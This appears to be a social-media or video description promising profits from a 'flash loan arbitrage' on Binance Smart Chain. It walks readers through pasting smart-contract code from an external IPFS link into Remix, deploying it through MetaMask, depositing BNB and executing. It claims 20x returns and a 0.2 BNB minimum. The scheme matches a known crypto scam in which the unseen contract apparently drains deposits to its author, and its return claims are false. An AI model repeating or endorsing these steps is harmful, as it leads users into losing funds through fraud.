Step 1 - Have MetaMask wallet setup in Firefox, Edge or Chrome. Step 2 - Add Binance Smart Chain Network to MetaMask - https://academy.binance.com/en/articl... Step 3 - Transfer BNB you want to use to the wallet using a regular wallet transfer. Step 4 - Go to https://remix.ethereum.org (For programming the smart contract) Step 5 - Click on contract folder and then click the Create new file button Step 6 - Name the file "flashloan.sol" without quotes Step 7 - Copy and paste the contract code from the link above (https://gateway.pinata.cloud/ipfs/Qme...) Step 8 - Click on the second tab down from the left Step 9 - Choose the correct solidity version that matches the top of the code which is 0.5.0 Step 10 - Click Compile Step 11 - Go to the third tab down on the left Step 12 - For environment, change it to "Injected Web3" and then confirm in MetaMask to connect Step 13 - Click on the arrow next to deploy and enter information for your brand new token and then click transact. Step 14 - Once the contract is deployed, click to copy the contract code and go to MetaMask to deposit liquidity. Step 15 - Once that's done, click on your new contract and click the red button (action/execute/flashloan)
You need the MetaMask browser wallet to pay for the transaction fees. Download MetaMask on Chrome, Firefox or Edge.
How much to deposit in your initial contract depends on loan amount: 1000 - 0.25 2000 - 0.5 etc. (higher loan seems to provide higher return) MINIMUM MUST BE 0.2, 0.15 IS PROVEN TO FAIL SO PLEASE BE AWARE
This is just my example that worked. Under some rare cases, the flash loan arbitrage may fail due to depleted BNB and higher gas prices. Wait a little bit and try the transaction again with different amount. Dont go below 0.2 BNB, few times it might get rejected but from my personal expirience every 3-5 try works. So you cant get anything for first time but second time you will get 20x of your investment.
You just have to go from step 14, as your new token contract will be active and so the flash loan arbitrage can be started from that point.
EDUCATIONAL PURPOSES ONLY. NO HACKING ACTIVITY INVOLVED. DYOR. NOT FINANCIAL ADVICE
